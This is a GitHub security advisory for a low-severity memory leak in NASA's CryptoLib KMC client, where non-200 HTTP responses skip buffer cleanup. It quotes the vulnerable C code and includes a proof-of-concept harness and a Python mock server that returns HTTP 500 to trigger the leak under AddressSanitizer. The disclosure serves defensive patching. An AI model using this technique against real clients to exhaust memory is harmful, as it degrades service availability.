Skip to content

Memory Leak on HTTP Error Response in KMC Client

Moderate
Donnie-Ice published GHSA-h74x-vwwr-mm5g Jan 9, 2026

Package

CryptoLib

Affected versions

<= v1.4.2

Patched versions

v1.4.3

Description

Context


Summary

When the KMC server returns a non-200 HTTP status code, cryptography_encrypt() and cryptography_decrypt() return immediately without freeing previously allocated buffers. Each failed request leaks approximately 467 bytes. Repeated failures (from a malicious server or network issues) can gradually exhaust memory.


Details

In src/crypto/kmc/cryptography_interface_kmc_crypto_service.template.c, the httpCode check performs an early return without cleanup:

Vulnerable code in cryptography_encrypt() at lines 443-452:

// Parse httpCode from response
if (http_code != 200)
{
    // Log error
    printf(KRED "Error: KMC Crypto returned httpCode %d\n" RESET, http_code);
    return CRYPTOGRAPHY_KMC_CRYPTO_SERVICE_GENERIC_FAILURE;  // LEAK!
}

Buffers leaked on error path:

  • http_code_str (allocated just before check)
  • iv_base64 (line 260)
  • encrypt_endpoint_final (line 281)
  • encrypt_uri (line 293)
  • chunk_write (line 305)
  • chunk_read (line 306)
  • chunk_write->response (allocated by write_callback)

Same pattern exists in:

  • cryptography_encrypt(): lines 443-452
  • cryptography_decrypt(): lines 630-639
  • cryptography_authenticate(): similar location

PoC

Option 1: Docker (recommended)

# Build Docker image with ASAN and KMC support
docker build -t cryptolib-asan-kmc -f Dockerfile.asan.kmc .

# Terminal 1: Start mock KMC server inside container
docker run --rm -d --name kmc-server cryptolib-asan-kmc sh -c '
cd /src/SecMate/poc && python3 mock_kmc_server.py --port 8000
'

# Terminal 2: Run PoC (uses /decrypt-fail endpoint which returns 500)
docker exec kmc-server sh -c '
cd /src/build
ASAN_OPTIONS=halt_on_error=1:detect_leaks=1 ./SecMate/poc/poc_kmc_error_response
'

# Cleanup
docker stop kmc-server

Option 2: Native build

git clone https://github.com/nasa/CryptoLib
cd CryptoLib
mkdir build && cd build
cmake -DCRYPTO_KMC=ON \
      -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" ..
make poc_kmc_error_response

Run:

# Terminal 1: Start mock KMC server
cd SecMate/poc
python3 mock_kmc_server.py --port 8000

# Terminal 2: Run PoC (uses /decrypt-fail endpoint which returns HTTP 500)
ASAN_OPTIONS=halt_on_error=1:detect_leaks=1 ./SecMate/poc/poc_kmc_error_response

Expected Output:

[PoC] cryptography_decrypt returned -6
[PoC] LSAN should report only cryptography_decrypt error-path leaks

==PID==ERROR: LeakSanitizer: detected memory leaks

Direct leak of X byte(s) in Y object(s) allocated from:
    #0 ... in malloc
    #1 ... in cryptography_decrypt cryptography_interface_kmc_crypto_service.template.c:510
...

SUMMARY: AddressSanitizer: ~467 byte(s) leaked in Y allocation(s).

PoC Source: SecMate/poc/poc_kmc_error_response.c
Mock Server: SecMate/poc/mock_kmc_server.py (endpoint /decrypt-fail returns HTTP 500)


Impact

Gradual resource exhaustion on error conditions. An attacker controlling KMC server responses (or performing MITM) can trigger repeated error responses. Each error leaks ~467 bytes. Over time, memory usage grows.


Appendix

PoC Source: SecMate/poc/poc_kmc_error_response.c

/**
 * PoC: KMC client non-200 response (leak/early-return path)
 *
 * Uses the real KMC crypto service client to POST to a mock server
 * that returns a 500 error with a small body. This drives the error
 * cleanup path where allocations may be leaked.
 *
 * Prereq: run mock_kmc_server.py --port 8000 in another shell.
 *
 * Build (ASAN/LSAN):
 *   cmake -DCRYPTO_EPROC=ON \
 *         -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
 *         -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" ..
 *   make poc_kmc_error_response
 *
 * Run:
 *   ASAN_OPTIONS=halt_on_error=1:detect_leaks=1 ./poc_kmc_error_response
 */

#include "crypto.h"
#include "crypto_error.h"
#include "cryptography_interface.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * Allocate KMC config on the heap with strdup'd strings.
 * This matches what the library expects: heap-owned config that
 * crypto_free_config_structs() can properly free during Crypto_Shutdown().
 *
 * By doing this correctly, LSAN output will show ONLY the real
 * per-call leaks in cryptography_decrypt error paths, not PoC/lifecycle noise.
 */
static void configure_kmc(const char *host, int port)
{
    CryptographyKmcCryptoServiceConfig_t *cfg = malloc(sizeof(CryptographyKmcCryptoServiceConfig_t));
    memset(cfg, 0, sizeof(*cfg));

    cfg->kmc_crypto_hostname            = strdup(host);
    cfg->protocol                       = strdup("http");
    cfg->kmc_crypto_port                = port;
    cfg->kmc_crypto_app_uri             = strdup("/decrypt-fail");
    cfg->mtls_client_cert_path          = NULL;
    cfg->mtls_client_cert_type          = NULL;
    cfg->mtls_client_key_path           = NULL;
    cfg->mtls_client_key_pass           = NULL;
    cfg->mtls_ca_bundle                 = NULL;
    cfg->mtls_ca_path                   = NULL;
    cfg->mtls_issuer_cert               = NULL;
    cfg->ignore_ssl_hostname_validation = 1;

    cryptography_kmc_crypto_config = cfg;
}

int main(void)
{
    configure_kmc("127.0.0.1", 8000);
    Crypto_Config_CryptoLib(KEY_TYPE_INTERNAL, MC_TYPE_INTERNAL, SA_TYPE_INMEMORY, CRYPTOGRAPHY_TYPE_KMCCRYPTO,
                            IV_INTERNAL, CRYPTO_TC_CREATE_FECF_FALSE, TC_PROCESS_SDLS_PDUS_FALSE, TC_HAS_PUS_HDR,
                            TC_IGNORE_SA_STATE_FALSE, TC_IGNORE_ANTI_REPLAY_TRUE, TC_UNIQUE_SA_PER_MAP_ID_FALSE,
                            TC_CHECK_FECF_FALSE, 0x3F, SA_INCREMENT_NONTRANSMITTED_IV_TRUE);

    /* Configure GVCID managed parameters (required before Crypto_Init) */
    GvcidManagedParameters_t gvcid_params = {
        .tfvn = 0, .scid = 0x0003, .vcid = 0,
        .has_fecf = TC_NO_FECF, .aos_has_fhec = AOS_FHEC_NA,
        .aos_has_iz = AOS_IZ_NA, .aos_iz_len = 0,
        .has_segmentation_hdr = TC_HAS_SEGMENT_HDRS,
        .max_frame_size = TC_MAX_FRAME_SIZE, .has_ocf = TC_OCF_NA, .set_flag = 1
    };
    Crypto_Config_Add_Gvcid_Managed_Parameters(gvcid_params);

    if (Crypto_Init() != CRYPTO_LIB_SUCCESS)
    {
        printf("[PoC] Crypto_Init failed\n");
        return 1;
    }

    /* Dummy inputs */
    uint8_t data_out[16] = {0};
    uint8_t data_in[16]  = {0};
    uint8_t key[32]      = {0};
    uint8_t iv[12]       = {0};
    uint8_t ecs          = CRYPTO_CIPHER_AES256_GCM;
    uint8_t acs          = 0;

    /* Create minimal SA with ek_ref (required by KMC client) */
    SecurityAssociation_t sa = {0};
    strncpy(sa.ek_ref, "test-key-ref", REF_SIZE - 1);

    /* Call decrypt against /decrypt-fail on the mock server.
     * This exercises error cleanup paths for leak detection. */
    int32_t status = cryptography_if->cryptography_decrypt(data_out, sizeof(data_out),
                                                           data_in, sizeof(data_in),
                                                           key, sizeof(key),
                                                           &sa, /* sa_ptr with ek_ref */
                                                           iv, sizeof(iv),
                                                           &ecs, &acs,
                                                           NULL /* cam_cookies */);
    printf("[PoC] cryptography_decrypt returned %d\n", status);

    /*
     * Call Crypto_Shutdown() to properly clean up library resources.
     * crypto_free_config_structs() will free our heap-allocated config
     * and strdup'd strings. This ensures LSAN output shows ONLY the
     * per-call leaks in cryptography_decrypt error paths (the actual library bugs).
     */
    Crypto_Shutdown();

    printf("[PoC] LSAN should report only cryptography_decrypt error-path leaks\n");

    return 0;
}

Mock Server: SecMate/poc/mock_kmc_server.py

#!/usr/bin/env python3
"""
Mock KMC HTTP server to exercise KMC client OOM/leak paths.

Endpoints:
  /decrypt-large  -> 200 OK with a very large JSON body (write_callback realloc stress)
  /decrypt-fail   -> 500 with small body (early-return leak paths)
  /encrypt        -> 200 OK with minimal success JSON (AEAD encrypt leak path)

Usage:
  python3 mock_kmc_server.py --port 8000
"""

from http.server import BaseHTTPRequestHandler, HTTPServer
import argparse

LARGE_B64 = "A" * (1024 * 1024)  # 1MB string to force realloc


class Handler(BaseHTTPRequestHandler):
    def _set_headers(self, code=200, length=None):
        self.send_response(code)
        self.send_header("Content-Type", "application/json")
        if length is not None:
            self.send_header("Content-Length", str(length))
        self.end_headers()

    def do_POST(self):
        if self.path == "/decrypt-large":
            body = (
                '{"httpCode":200,"base64ciphertext":"%s","metadata":"{}"}'
                % LARGE_B64
            ).encode("utf-8")
            self._set_headers(200, len(body))
            self.wfile.write(body)
        elif self.path == "/decrypt-fail":
            body = b'{"httpCode":500,"error":"fail"}'
            self._set_headers(500, len(body))
            self.wfile.write(body)
        elif self.path.startswith("/encrypt"):
            # Minimal success response for AEAD encrypt - leak happens on allocation
            body = b'{"httpCode":200,"base64ciphertext":"QQ==","metadata":"{}"}'
            self._set_headers(200, len(body))
            self.wfile.write(body)
        else:
            self._set_headers(404)
            self.wfile.write(b'{"httpCode":404}')

    def log_message(self, fmt, *args):
        # Silence default logging
        return


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=8000)
    args = ap.parse_args()
    server = HTTPServer(("0.0.0.0", args.port), Handler)
    print(f"[mock_kmc_server] Serving on port {args.port}")
    server.serve_forever()


if __name__ == "__main__":
    main()

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

CVE ID

CVE-2026-22025

Weaknesses

Missing Release of Memory after Effective Lifetime

The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse. Learn more on MITRE.

Credits